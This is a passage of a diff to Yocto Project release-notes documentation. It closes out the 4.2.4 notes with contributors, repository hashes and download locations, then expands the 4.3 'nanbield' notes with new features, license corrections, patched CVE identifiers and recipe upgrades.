+- vim: upgrade to 9.0.2048
+- vim: update obsolete comment
+- wayland-utils: add libdrm :term:`PACKAGECONFIG`
+- weston-init: fix init code indentation
+- weston-init: remove misleading comment about udev rule
+- wic: bootimg-partition: Fix file name in debug message
+- wic: fix wrong attempt to create file system in upartitioned regions
+- wireless-regdb: upgrade to 2023.09.01
+- xz: upgrade to 5.4.4
+- yocto-uninative: Update to 4.2 for glibc 2.38
+- yocto-uninative: Update to 4.3
+
+
+Known Issues in Yocto-4.2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- N/A
+
+
+Contributors to Yocto-4.2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- Alberto Planas
+- Alexander Kanavin
+- Alexis Lothoré
+- Antoine Lubineau
+- Anuj Mittal
+- Archana Polampalli
+- Arne Schwerdt
+- BELHADJ SALEM Talel
+- Benjamin Bara
+- Bruce Ashfield
+- Chen Qi
+- Colin McAllister
+- Daniel Semkowicz
+- Dmitry Baryshkov
+- Eilís 'pidge' Ní Fhlannagáin
+- Emil Kronborg Andersen
+- Etienne Cordonnier
+- Jaeyoon Jung
+- Jan Garcia
+- Joe Slater
+- Joshua Watt
+- Julien Stephan
+- Kai Kang
+- Khem Raj
+- Lee Chee Yang
+- Markus Niebel
+- Markus Volk
+- Marta Rybczynska
+- Martijn de Gouw
+- Martin Jansa
+- Michael Halstead
+- Michael Opdenacker
+- Mikko Rapeli
+- Mingli Yu
+- Narpat Mali
+- Otavio Salvador
+- Ovidiu Panait
+- Peter Kjellerstedt
+- Peter Marko
+- Peter Suti
+- Poonam Jadhav
+- Quentin Schulz
+- Richard Purdie
+- Robert P. J. Day
+- Roland Hieber
+- Ross Burton
+- Ryan Eatmon
+- Sakib Sajal
+- Samantha Jalabert
+- Sanjana
+- Sanjay Chitroda
+- Sean Nyekjaer
+- Siddharth Doshi
+- Soumya Sambu
+- Stefan Tauner
+- Steve Sakoman
+- Tan Wen Yan
+- Tom Hochstein
+- Trevor Gamblin
+- Vijay Anusuri
+- Wang Mingyu
+- Xiangyu Chen
+- Yash Shinde
+- Yoann Congal
+- Yogita Urade
+- Yuta Hayama
+
+
+Repositories / Downloads for Yocto-4.2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+poky
+
+- Repository Location: :yocto_git:`/poky`
+- Branch: :yocto_git:`mickledore </poky/log/?h=mickledore>`
+- Tag: :yocto_git:`yocto-4.2.4 </poky/log/?h=yocto-4.2.4>`
+- Git Revision: :yocto_git:`7235399a86b134e57d5eb783d7f1f57ca0439ae5 </poky/commit/?id=7235399a86b134e57d5eb783d7f1f57ca0439ae5>`
+- Release Artefact: poky-7235399a86b134e57d5eb783d7f1f57ca0439ae5
+- sha: 3d56bb4232ab29ae18249529856f0e638c50c764fc495d6beb1ecd295fa5e5e3
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.2.4/poky-7235399a86b134e57d5eb783d7f1f57ca0439ae5.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.2.4/poky-7235399a86b134e57d5eb783d7f1f57ca0439ae5.tar.bz2
+
+openembedded-core
+
+- Repository Location: :oe_git:`/openembedded-core`
+- Branch: :oe_git:`mickledore </openembedded-core/log/?h=mickledore>`
+- Tag: :oe_git:`yocto-4.2.4 </openembedded-core/log/?h=yocto-4.2.4>`
+- Git Revision: :oe_git:`23b5141400b2c676c806df3308f023f7c04e34e0 </openembedded-core/commit/?id=23b5141400b2c676c806df3308f023f7c04e34e0>`
+- Release Artefact: oecore-23b5141400b2c676c806df3308f023f7c04e34e0
+- sha: 152f4ee3cdd2e159f6bd34b01d517de44dfe670d35a5e3c84cc32ee7842d9741
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.2.4/oecore-23b5141400b2c676c806df3308f023f7c04e34e0.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.2.4/oecore-23b5141400b2c676c806df3308f023f7c04e34e0.tar.bz2
+
+meta-mingw
+
+- Repository Location: :yocto_git:`/meta-mingw`
+- Branch: :yocto_git:`mickledore </meta-mingw/log/?h=mickledore>`
+- Tag: :yocto_git:`yocto-4.2.4 </meta-mingw/log/?h=yocto-4.2.4>`
+- Git Revision: :yocto_git:`d87d4f00b9c6068fff03929a4b0f231a942d3873 </meta-mingw/commit/?id=d87d4f00b9c6068fff03929a4b0f231a942d3873>`
+- Release Artefact: meta-mingw-d87d4f00b9c6068fff03929a4b0f231a942d3873
+- sha: 8036847cf5bf3da9db4bad13aac9080d559848679f0ae03694d55a576bcaf75f
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.2.4/meta-mingw-d87d4f00b9c6068fff03929a4b0f231a942d3873.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.2.4/meta-mingw-d87d4f00b9c6068fff03929a4b0f231a942d3873.tar.bz2
+
+bitbake
+
+- Repository Location: :oe_git:`/bitbake`
+- Branch: :oe_git:`2.4 </bitbake/log/?h=2.4>`
+- Tag: :oe_git:`yocto-4.2.4 </bitbake/log/?h=yocto-4.2.4>`
+- Git Revision: :oe_git:`c7e094ec3beccef0bbbf67c100147c449d9c6836 </bitbake/commit/?id=c7e094ec3beccef0bbbf67c100147c449d9c6836>`
+- Release Artefact: bitbake-c7e094ec3beccef0bbbf67c100147c449d9c6836
+- sha: 6a35a62bee3446cd0f9e0ec1de9b8f60fc396109075b37d7c4a1f2e6d63271c6
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.2.4/bitbake-c7e094ec3beccef0bbbf67c100147c449d9c6836.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.2.4/bitbake-c7e094ec3beccef0bbbf67c100147c449d9c6836.tar.bz2
+
+yocto-docs
+
+- Repository Location: :yocto_git:`/yocto-docs`
+- Branch: :yocto_git:`mickledore </yocto-docs/log/?h=mickledore>`
+- Tag: :yocto_git:`yocto-4.2.4 </yocto-docs/log/?h=yocto-4.2.4>`
+- Git Revision: :yocto_git:`91a29ca94314c87fd3dc68601cd4932bdfffde35 </yocto-docs/commit/?id=91a29ca94314c87fd3dc68601cd4932bdfffde35>`
+
diff --git a/poky/documentation/migration-guides/release-notes-4.3.rst b/poky/documentation/migration-guides/release-notes-4.3.rst
index 87cd622743..85180dfc3c 100644
--- a/poky/documentation/migration-guides/release-notes-4.3.rst
+++ b/poky/documentation/migration-guides/release-notes-4.3.rst
@@ -1,16 +1,24 @@
.. SPDX-License-Identifier: CC-BY-SA-2.0-UK
-Release notes for 4.3 (nandbield)
-----------------------------------
+Release notes for 4.3 (nanbield)
+--------------------------------
New Features / Enhancements in 4.3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-- Linux kernel 6.x, glibc 2.xx and ~xxx other recipe upgrades
+- Linux kernel 6.5 and 6.1, gcc 13, glibc 2.38, LLVM 17, and over 300 other recipe upgrades
+
+- The autobuilder's shared-state artefacts are now available over the `jsDelivr
+ <https://jsdelivr.com>`__ Content Delivery Network (CDN).
+ See :term:`SSTATE_MIRRORS`.
- New variables:
- - :term:`FILE_LAYERNAME`: bitbake now sets this to the name of the layer containing the recipe
+ - :term:`CVE_CHECK_STATUSMAP`, :term:`CVE_STATUS`, :term:`CVE_STATUS_GROUPS`,
+ replacing the deprecated :term:`CVE_CHECK_IGNORE`.
+
+ - :term:`FILE_LAYERNAME`: bitbake now sets this to the name of the layer
+ containing the recipe
- :term:`FIT_ADDRESS_CELLS` and :term:`UBOOT_FIT_ADDRESS_CELLS`.
See details below.
@@ -19,62 +27,257 @@ New Features / Enhancements in 4.3
- :term:`KERNEL_DTBVENDORED`: whether to keep vendor subdirectories.
+ - :term:`KERNEL_LOCALVERSION`: to add a string to the kernel version
+ information.
+
+ - :term:`KERNEL_STRIP`: to specify the command to strip the kernel binary.
+
- :term:`LICENSE_FLAGS_DETAILS`: add extra details about a recipe license
in case it is not allowed by :term:`LICENSE_FLAGS_ACCEPTED`.
-- Layername functionality available through overrides
+ - :term:`MESON_TARGET`: to compile a specific Meson target instead of the
+ default ones.
+
+ - :term:`OEQA_REPRODUCIBLE_TEST_PACKAGE`: to restrict package managers used
+ in reproducibility testing.
+
+- Layername functionality available through overrides
- Code can now know which layer a recipe is coming from through the newly added :term:`FILE_LAYERNAME`
- variable. This has been added as an override of the form ``layer-<layername>``. In particular,
- this means QA checks can now be layer specific, for example::
+ Code can now know which layer a recipe is coming from through the newly added :term:`FILE_LAYERNAME`
+ variable. This has been added as an override of the form ``layer-<layername>``. In particular,
+ this means QA checks can now be layer specific, for example::
- ERROR_QA:layer-core:append = " patch-status"
+ ERROR_QA:layer-core:append = " patch-status"
- which will enable the ``patch-status`` QA check for the core layer.
+ This will enable the ``patch-status`` QA check for the core layer.
- Architecture-specific enhancements:
+ - RISCV support is now enabled in LLVM 17.
+
+ - Loongarch support in the :ref:`ref-classes-linuxloader` class and
+ ``core-image-minimal-initramfs`` image.
+
+ - The ``arch-armv8`` and ``arch-armv9`` architectures are now given
+ `Scalable Vector Extension (SVE)
+ <https://developer.arm.com/documentation/100891/0612/sve-overview/introducing-sve>`__
+ based tune options. Commits:
+ :yocto_git:`1 </poky/commit/?id=e4be03be5be62e367a40437a389121ef97d6cff3>`,
+ :yocto_git:`2 </poky/commit/?id=8cd5d264af4c346730531cb98ae945ab862dbd69>`.
+
+ - Many changes to support 64-bit ``time_t`` on 32-bit architectures
+
- Kernel-related enhancements:
+ - The default kernel is the current stable (6.5), and there is also support
+ for the latest long-term release (6.1).
+
+ - The list of fixed kernel CVEs is updated regularly using data from
+ `linuxkernelcves.com <https://linuxkernelcves.com>`__.
+
+ - A ``showconfig`` task was added to the :ref:`ref-classes-cml1` class, to
+ easily examine the final generated ``.config`` file.
+
- New core recipes:
-- New classes:
+ - `appstream <https://github.com/ximion/appstream>`__: a collaborative effort
+ for making machine-readable software metadata easily available
+ (from meta-oe)
+
+ - `cargo-c-native <https://crates.io/crates/cargo-c>`__: cargo applet to build
+ and install C-ABI compatible dynamic and static libraries
+
+ - `libadwaita <https://gitlab.gnome.org/GNOME/libadwaita>`__: Building blocks
+ for modern GNOME applications (from meta-gnome)
+
+ - `libtraceevent <https://git.kernel.org/pub/scm/libs/libtrace/libtracefs.git/>`__:
+ API to access the kernel tracefs directory (from meta-openembedded)
+
+ - `libxmlb <https://github.com/hughsie/libxmlb>`__: A library to help create
+ and query binary XML blobs (from meta-oe)
+
+ - ``musl-legacy-error``: glibc ``error()`` API implementation still needed
+ by a few packages.
+
+ - `python3-beartype <https://beartype.readthedocs.io>`__, unbearably fast
+ runtime type checking in pure Python.
+
+ - `python3-booleanpy <https://github.com/bastikr/boolean.py>`__: Define boolean
+ algebras, create and parse boolean expressions and create custom boolean DSL
+ (from meta-python)
+
+ - `python3-calver <https://github.com/di/calver>`__: Setuptools extension for
+ CalVer package versions
- - A ``ptest-cargo`` class was added to allow Cargo based recipes to easily add ptests
+ - `python3-click <http://click.pocoo.org/>`__: A simple wrapper around optparse
+ for powerful command line utilities (from meta-python)
-- QEMU/runqemu enhancements:
+ - ``python3-dtc``: Python Library for the Device Tree Compiler (from
+ meta-virtualization)
- - QEMU has been upgraded to version 8.0
+ - `python3-isodate <https://github.com/gweis/isodate/>`__: ISO 8601 date/time
+ parser (from meta-python)
+
+ - `python3-license-expression <https://github.com/nexB/license-expression>`__:
+ Utility library to parse, compare, simplify and normalize license expressions
+ (from meta-python)
+
+ - `python3-rdflib <https://github.com/RDFLib/rdflib>`__: a pure Python package
+ for working with RDF (from meta-python)
+
+ - `python3-spdx-tools <https://github.com/spdx/tools-python>`__,
+ tools for SPDX validation and conversion.
+
+ - `python3-trove-classifiers <https://github.com/pypa/trove-classifiers>`__:
+ Canonical source for classifiers on PyPI (pypi.org)
+
+ - `python3-uritools <https://github.com/tkem/uritools/>`__, replacement for
+ the ``urllib.parse`` module.
+
+ - `python3-xmltodict <https://github.com/martinblech/xmltodict>`__: Makes
+ working with XML feel like you are working with JSON (from meta-python)
+
+ - `ttyrun <https://github.com/ibm-s390-linux/s390-tools>`__, starts
+ ``getty`` programs only when a terminal exists, preventing respawns
+ through the ``init`` program. This enabled removing the
+ ``SERIAL_CONSOLES_CHECK`` variable.
+
+ - ``vulkan-validation-layers``: Khronos official validation layers to assist in
+ verifying that applications correctly use the
+ `Vulkan API <https://www.khronos.org/vulkan>`__.
+
+ - `xcb-util-cursor <http://xcb.freedesktop.org/XcbUtil/>`__: XCB port of
+ libXcursor (from meta-oe)
+
+- QEMU / ``runqemu`` enhancements:
+
+ - QEMU has been upgraded to version 8.1
+
+ - Many updates to the ``runqemu`` command.
+
+ - The ``qemu-system-native`` recipe is now built with PNG support, which could be
+ useful to grab screenshots for error reporting purposes.
- Rust improvements:
- - Rust has been upgraded to version 1.69
+ - Rust has been upgraded to version 1.70
-- Image-related enhancements:
+ - New ``ptest-cargo`` class was added to allow Cargo based recipes to easily add ptests
+
+ - New :ref:`ref-classes-cargo_c` class was added to allow recipes to make Rust code
+ available to C and C++ programs. See
+ ``meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb`` for an example.
- wic Image Creator enhancements:
+ - ``bootimg-efi``: if ``fixed-size`` is set then use that for mkdosfs
+
+ - ``bootimg-efi``: stop hardcoding VMA offsets, as required by systemd-boot v254
+ (and dracut/ukify)
+
+ - ``bootimg-pcbios``: use kernel name from :term:`KERNEL_IMAGETYPE` instead of
+ hardcoding ``vmlinuz``
+
+ - Added new ``gpt-hybrid`` option to ``ptable_format`` (formatting a disk with a hybrid
+ MBR and GPT partition scheme)
+
+ - Use ``part_name`` in default imager when defined
+
+ - Added ``--hidden`` argument to default imager to avoid MS Windows prompting to
+ format partition after flashing to a USB stick/SD card
+
- FIT image related improvements:
- New :term:`FIT_ADDRESS_CELLS` and :term:`UBOOT_FIT_ADDRESS_CELLS` variables allowing
to specify 64 bit addresses, typically for loading U-Boot.
+ - Added ``compatible`` line to config section (with value from dtb) to allow bootloaders
+ to select the best matching configuration.
+
+
- SDK-related improvements:
+ - Extended the following recipes to ``nativesdk``: ``libwebp``, ``python3-ply``
+
- Testing:
+ - The :ref:`ref-classes-insane` class now adds an :ref:`unimplemented-ptest
+ <qa-check-unimplemented-ptest>` infrastructure to detect package sources
+ with unit tests but no implemented ptests in the recipe.
+
+ - A new task to perform recipe-wide QA checks was added: ``do_recipe_qa``.
+
+ - New build-time checks for set :term:`SUMMARY`, :term:`HOMEPAGE`, and
+ :term:`RECIPE_MAINTAINER` fields was added, and enabled for the core
+ recipes.
+
+ - The ``parselogs`` runtime test was rewritten. Notably it no longer uses
+ regular expressions, which may mean custom patterns need updating.
+
+ - A self-test to validate that the :term:`SPDX` manifests generated by
+ image builds are valid was added.
+
+ - The ``QEMU_USE_SLIRP`` variable has been replaced by adding ``slirp`` to
+ ``TEST_RUNQEMUPARAMS``.
+
- Utility script changes:
+ - New ``scripts/patchtest`` utility to check patches to the
+ OpenEmbedded-Core project. See
+ :ref:`contributor-guide/submit-changes:validating patches with patchtest`
+ for details.
+
+ - ``scripts/bblock`` was added, allowing the user to lock/unlock specific
+ recipes from being built. This makes it possibly to work on the
+ ``python3`` recipe without causing ``python3-native`` to rebuild.
+
- BitBake improvements:
+ - A fetcher for the Google Cloud Platform (``gs://``) was added.
+
- The BitBake Cooker log now contains notes when the caches are
- invalidated which is useful for memory resident bitbake debugging.
+ invalidated which is useful for memory resident BitBake debugging.
+
+ - BitBake no longer watches files with :wikipedia:`inotify <inotify>` for
+ changes, as under load this can lead to races causing build instability.
+
+ - Toaster's dependencies were upgraded to current releases, specifically
+ to Django 4.2.
- Packaging changes:
+ - :term:`FILES` now accepts a ``**`` wildcard, which matches zero or more
+ subdirectories.
+
+ - The X server packagegroup now defaults to using the ``modesetting`` X
+ driver, which obsoletes the ``fbdev`` driver.
+
+ - If a recipe uses :term:`LICENSE_FLAGS` and the licenses are not accepted,
+ it can set a custom message with :term:`LICENSE_FLAGS_DETAILS` to be
+ displayed to the users.
+
+ - Recipes that fetch specific revisions no longer need to explicitly add
+ :term:`SRCPV` to :term:`PV` as BitBake will now automatically add the
+ revision information to :term:`PKGV` if needed (as long as "+" is still
+ present in the :term:`PKGV` value, which is set from :term:`PV` by
+ default).
+
+ - The default :term:`PR` values in many recipes have been removed.
+
+- Security improvements:
+
+ - Most repositories now include a :yocto_git:`SECURITY.md
+ </poky/tree/SECURITY.md>` file with hints for security researchers
+ and other parties who might report potential security vulnerabilities.
+
- Prominent documentation updates:
- - Long due documentation for the :ref:`ref-classes-devicetree` class.
+ - New :doc:`../contributor-guide/index` document.
+
+ - New :doc:`../dev-manual/security-subjects` chapter in the Development
+ Tasks Manual.
+
+ - Long overdue documentation for the :ref:`ref-classes-devicetree` class.
- New :ref:`summary about available init systems
<dev-manual/init-manager:summary>`.
@@ -85,26 +288,678 @@ New Features / Enhancements in 4.3
- Miscellaneous changes:
- - Git based recipes in OE-Core which used the git protocol have been
- changed to use https where possibile. https is now believed to be
- faster and more reliable.
+ - Selecting systemd via :term:`INIT_MANAGER` now adds ``usrmerge`` to
+ :term:`DISTRO_FEATURES` as current versions of systemd now require
+ merged ``/usr``.
+
+ - Generation of :term:`SPDX` manifests is now enabled by default.
+
+ - Git based recipes in OE-Core which used the ``git`` protocol have been
+ changed to use `https`` where possible, as it is typically faster and
+ more reliable.
- The ``os-release`` recipe added a ``CPE_NAME`` to the fields provided, with the
default being populated from :term:`DISTRO`.
+ - The ``psplash`` recipe now accepts a PNG format image through
+ :term:`SPLASH_IMAGES`, instead of a harder to generate and modify
+ ``.h`` file.
+
+ - The ; character is no longer needed to separate functions specified in
+ :term:`IMAGE_POSTPROCESS_COMMAND`, :term:`IMAGE_PREPROCESS_COMMAND`,
+ :term:`POPULATE_SDK_POST_HOST_COMMAND`, :term:`ROOTFS_POSTINSTALL_COMMAND`
+ etc. (If any are present they will be replaced with spaces, so existing
+ metadata does not yet need to be changed.)
+
+ - In the ``Upstream-Status`` field in a patch header, "Accepted" is no longer
+ a valid value since it is logically the same as "Backport". Change any
+ values you have (particularly in patches applied through bbappends for core
+ recipes, since they will be validated as indicated above).
+
+
Known Issues in 4.3
~~~~~~~~~~~~~~~~~~~
+- N/A
+
+
Recipe License changes in 4.3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following corrections have been made to the :term:`LICENSE` values set by recipes:
+- ``glib-networking``: make :term:`LICENSE` more accurate (``LGPL-2.1`` -> ``LGPL-2.1-or-later``) and add an exception for linking to OpenSSL if it is enabled (``openssl`` is in :term:`PACKAGECONFIG`)
+- ``libbsd``: set per-package licensing to clarify that BSD-4-Clause code is only in the ``-doc`` package
+- ``openssh``: BSD-4-Clause code has been removed completely from the codebase as part of 9.4p1 update - previously in the kirkstone release, ``BSD-4-Clause`` was removed from the :term:`LICENSE` value in our recipe, however some BSD-4-Clause code actually still remained upstream until 9.4p1.
+- ``python3-sphinx``: remove ``BSD-3-Clause`` from :term:`LICENSE` - BSD-3-Clause code was removed as part of the python3-sphinx 7.0.1 release (see `this upstream commit <https://github.com/sphinx-doc/sphinx/commit/a7f5d91c29d6f377b9fe7e926965c6f9d3e7b802>`__)
+
+
Security Fixes in 4.3
~~~~~~~~~~~~~~~~~~~~~
+- bind: :cve:`2023-2911`, :cve:`2023-2828`, :cve:`2023-3341`, :cve:`2023-4236`
+- binutils: :cve:`2023-1972`
+- connman: :cve:`2023-28488`
+- cups: :cve:`2023-32324`, :cve:`2023-34241`, :cve:`2023-4504`
+- dbus: :cve:`2023-34969`
+- dmidecode: :cve:`2023-30630`
+- dropbear: :cve:`2023-36328`
+- erofs-utils: :cve:`2023-33551`, :cve:`2023-33552`
+- gcc: :cve:`2023-4039`
+- ghostscript: :cve:`2023-28879`, :cve:`2023-36664`, :cve:`2023-38559;` ignore :cve:`2023-38560`
+- git: :cve:`2023-25652`, :cve:`2023-29007`
+- glibc: :cve:`2023-4527`, :cve:`2023-4806`
+- go: :cve:`2023-24537`, :cve:`2023-39325`
+- gstreamer: :cve:`2023-40475`, :cve:`2023-40476`
+- inetutils: :cve:`2023-40303`
+- libarchive: ignore :cve:`2023-30571`
+- librsvg: :cve:`2023-38633`
+- libwebp: :cve:`2023-1999`, :cve:`2023-4863`
+- libx11: :cve:`2023-3138`, :cve:`2023-43785`, :cve:`2023-43786`, :cve:`2023-43787`
+- libxml2: :cve:`2023-28484`, :cve:`2023-29469;` ignore disputed :cve:`2023-45322`
+- libxpm: :cve:`2023-43788`, :cve:`2023-43789`, :cve:`2022-44617`
+- linux: update CVE exclusions
+- ncurses: :cve:`2023-29491`
+- nghttp2: :cve:`2023-44487`
+- ninja: ignore :cve:`2021-4336`, wrong ninja
+- openssh: :cve:`2023-38408`
+- openssl: :cve:`2023-2650`, :cve:`2023-1255`, :cve:`2023-0466`, :cve:`2023-0465`, :cve:`2023-0464`, :cve:`2023-3817`, :cve:`2023-3446`, :cve:`2023-2975`, :cve:`2023-4807`
+- perl: :cve:`2023-31484`, :cve:`2023-31486`
+- pixman: ignore :cve:`2023-37769`
+- procps: :cve:`2023-4016`
+- python3-git: :cve:`2023-41040`
+- python3: ignore :cve:`2023-36632`
+- python3-urllib3: :cve:`2023-43804`
+- qemu: :cve:`2023-40360`, :cve:`2023-42467;` ignore :cve:`2023-0664` (Windows-specific), ignore :cve:`2023-2680` (RHEL specific)
+- screen: :cve:`2023-24626`
+- shadow: :cve:`2023-29383`
+- sqlite3: ignore :cve:`2023-36191`
+- sysstat: :cve:`2023-33204`
+- tiff: :cve:`2022-4645`, :cve:`2023-2731`, :cve:`2023-26965`, :cve:`2023-40745`, :cve:`2023-41175`
+- vim: :cve:`2023-2426`, :cve:`2023-2609`, :cve:`2023-2610`, :cve:`2023-3896`, :cve:`2023-5441`, :cve:`2023-5535`
+- zlib: ignore :cve:`2023-45853`
+
+
Recipe Upgrades in 4.3
~~~~~~~~~~~~~~~~~~~~~~
+- acpica: upgrade 20220331 -> 20230628
+- adwaita-icon-theme: 43 -> 45.0
+- alsa-lib: upgrade 1.2.8 -> 1.2.10
+- alsa-ucm-conf: upgrade 1.2.8 -> 1.2.10
+- alsa-utils: upgrade 1.2.8 -> 1.2.10
+- apr: upgrade 1.7.2 -> 1.7.4
+- apt: Upgrade to v2.6.0
+- at-spi2-core: update 2.46.0 -> 2.50.0
+- autoconf: Upgrade to 2.72c
+- babeltrace2: upgrade 2.0.4 -> 2.0.5
+- bind: upgrade 9.18.12 -> 9.18.19
+- binutils: Upgrade to 2.41 release
+- bluez5: upgrade 5.66 -> 5.69
+- boost: upgrade 1.81.0 -> 1.83.0
+- btrfs-tools: upgrade 6.1.3 -> 6.5.1
+- busybox: 1.36.0 -> 1.36.1
+- ccache: upgrade 4.7.4 -> 4.8.3
+- cmake: upgrade to 3.27.5
+- connman: update 1.41 -> 1.42
+- coreutils: upgrade 9.1 -> 9.4
+- cpio: upgrade to 2.14
+- cracklib: upgrade 2.9.10 -> 2.9.11
+- createrepo-c: update 0.20.1 -> 1.0.0
+- cryptodev: update to 1.13 + latest git
+- cups: upgrade to 2.4.6
+- curl: upgrade 8.0.1 -> 8.4.0
+- dbus: upgrade 1.14.6 -> 1.14.10
+- debianutils: upgrade 5.8 -> 5.13
+- dhcpcd: upgrade to 10.0.2
+- diffoscope: upgrade 236 -> 249
+- diffutils: update 3.9 -> 3.10
+- dmidecode: upgrade to 3.5
+- dnf: upgrade 4.14.0 -> 4.17.0
+- dos2unix: upgrade 7.4.4 -> 7.5.1
+- dpkg: upgrade to v1.22.0
+- efivar: Upgrade to tip of trunk
+- elfutils: upgrade 0.188 -> 0.189
+- ell: upgrade 0.56 -> 0.58
+- enchant2: upgrade 2.3.4 -> 2.6.1
+- epiphany: upgrade 43.1 -> 44.6
+- erofs-utils: update 1.5 -> 1.6
+- ethtool: upgrade 6.2 -> 6.5
+- eudev: Upgrade 3.2.11 -> 3.2.12
+- ffmpeg: update 5.1.2 -> 6.0
+- file: upgrade 5.44 -> 5.45
+- flac: Upgrade 1.4.2 -> 1.4.3
+- font-util: upgrade 1.4.0 -> 1.4.1
+- freetype: upgrade 2.13.0 -> 2.13.2
+- fribidi: upgrade 1.0.12 -> 1.0.13
+- gawk: upgrade 5.2.1 -> 5.2.2
+- gcc: upgrade to 13.2
+- gcompat: Upgrade to 1.1.0
+- gcr: update 4.0.0 -> 4.1.0
+- gdb: upgrade 13.1 -> 13.2
+- gettext: upgrade 0.21.1 -> 0.22
+- ghostscript: upgrade to 10.02.0
+- git: upgrade to 2.42.0
+- glib-2.0: upgrade 2.74.6 -> 2.78.0
+- glibc: upgrade to 2.38 + stable updates
+- glib-networking: upgrade 2.74.0 -> 2.76.1
+- glslang: upgrade to 1.3.243
+- gmp: upgrade 6.2.1 -> 6.3.0
+- gnu-efi: upgrade 3.0.15 -> 3.0.17
+- gnupg: upgrade 2.4.0 -> 2.4.3
+- gnutls: update 3.8.0 -> 3.8.1
+- gobject-introspection: upgrade 1.74.0 -> 1.78.1
+- go-helloworld: Upgrade to tip of trunk
+- go: update 1.20.1 -> 1.20.10
+- gpgme: update 1.18.0 -> 1.22.0
+- grep: upgrade 3.10 -> 3.11
+- groff: update 1.22.4 -> 1.23.0
+- gsettings-desktop-schemas: upgrade 43.0 -> 44.0
+- gstreamer1.0: upgrade 1.22.0 -> 1.22.5
+- gstreamer: upgrade 1.22.5 -> 1.22.6
+- gtk+3: upgrade 3.24.36 -> 3.24.38
+- gtk4: update 4.10.0 -> 4.12.3
+- gzip: update 1.12 -> 1.13
+- harfbuzz: upgrade 7.1.0 -> 8.2.1
+- icu: upgrade 72-1 -> 73-2
+- igt-gpu-tools: update 1.27.1 -> 1.28
+- iproute2: upgrade 6.2.0 -> 6.5.0
+- iso-codes: upgrade 4.13.0 -> 4.15.0
+- jquery: upgrade 3.6.3 -> 3.7.1
+- json-c: upgrade 0.16 -> 0.17
+- kbd: upgrade 2.5.1 -> 2.6.3
+- kea: upgrade to v2.4.0
+- kexec-tools: upgrade 2.0.26 -> 2.0.27
+- kmscube: upgrade to latest revision
+- less: update 608 -> 643
+- libadwaita: upgrade 1.3.3 -> 1.4.0
+- libarchive: upgrade 3.6.2 -> 3.7.2
+- libassuan: upgrade 2.5.5 -> 2.5.6
+- libatomic-ops: update 7.6.14 -> 7.8.0
+- libcap: upgrade 2.67 -> 2.69
+- libcgroup: update 3.0.0 -> 3.1.0
+- libconvert-asn1-perl: upgrade 0.33 -> 0.34
+- libdnf: update 0.70.1 -> 0.70.1
+- libdrm: upgrade 2.4.115 -> 2.4.116
+- libedit: upgrade 20221030-3.1 -> 20230828-3.1
+- libevdev: upgrade 1.13.0 -> 1.13.1
+- libgcrypt: update 1.10.1 -> 1.10.2
+- libgit2: upgrade 1.6.3 -> 1.7.1
+- libglu: update 9.0.2 -> 9.0.3
+- libgpg-error: update 1.46 -> 1.47
+- libgudev: upgrade 237 -> 238
+- libhandy: upgrade 1.8.1 -> 1.8.2
+- libinput: upgrade to 1.24.0
+- libjpeg-turbo: upgrade to 3.0.0
+- libksba: upgrade 1.6.3 -> 1.6.4
+- libmd: upgrade 1.0.4 -> 1.1.0
+- libmicrohttpd: upgrade 0.9.76 -> 0.9.77
+- libmodule-build-perl: upgrade 0.4232 -> 0.4234
+- libmodulemd: upgrade 2.14.0 -> 2.15.0
+- libnl: upgrade 3.7.0 -> 3.8.0
+- libnss-nis: upgrade 3.1 -> 3.2
+- libpam: update 1.5.2 -> 1.5.3
+- libpcap: upgrade 1.10.3 -> 1.10.4
+- libpng: upgrade 1.6.39 -> 1.6.40
+- libportal: upgrade 0.6 -> 0.7.1
+- libproxy: update 0.4.18 -> 0.5.3
+- libpthread-stubs: update 0.4 -> 0.5
+- librepo: upgrade 1.15.1 -> 1.16.0
+- librsvf: update 2.54.5 -> 2.56.0
+- librsvg: update 2.56.0 -> 2.56.3
+- libsdl2: upgrade 2.26.3 -> 2.28.3
+- libsecret: upgrade 0.20.5 -> 0.21.1
+- libsndfile1: upgrade 1.2.0 -> 1.2.2
+- libsolv: upgrade 0.7.23 -> 0.7.25
+- libsoup: upgrade 3.2.2 -> 3.4.2
+- libssh2: update 1.10.0 -> 1.11.0
+- libtraceevent: upgrade 1.7.2 -> 1.7.3
+- libubootenv: upgrade 0.3.3 -> 0.3.4
+- liburi-perl: update 5.17 -> 5.21
+- libuv: upgrade 1.44.2 -> 1.46.0
+- libva: update 2.16 -> 2.19.0
+- libva-utils: update 2.19.0 -> 2.20.0
+- libwebp: upgrade 1.3.0 -> 1.3.2
+- libx11: upgrade 1.8.4 -> 1.8.7
+- libxcb: upgrade 1.15 -> 1.16
+- libxcrypt: upgrade 4.4.33 -> 4.4.36
+- libxfixes: Upgrade to v6.0.1
+- libxft: upgrade 2.3.7 -> 2.3.8
+- libxi: upgrade to v1.8.1
+- libxml2: upgrade 2.10.3 -> 2.11.5
+- libxpm: upgrade 3.5.15 -> 3.5.17
+- libxslt: upgrade 1.1.37 -> 1.1.38
+- libxt: Upgrade to v1.3.0
+- lighttpd: upgrade 1.4.69 -> 1.4.71
+- linux-firmware: upgrade 20230210 -> 20230804
+- linux-libc-headers: uprev to v6.5
+- linux-yocto/6.1: update to v6.1.57
+- linux-yocto-dev: update to v6.6-rcX
+- linux-yocto: introduce 6.5 reference kernel recipes
+- llvm: Upgrade to 17.0.2
+- ltp: upgrade 20230127 -> 20230516
+- lttng-modules: Upgrade 2.13.9 -> 2.13.10
+- lttng-tools: Upgrade 2.13.9 -> 2.13.11
+- lttng-ust: upgrade 2.13.5 -> 2.13.6
+- lua: update 5.4.4 -> 5.4.6
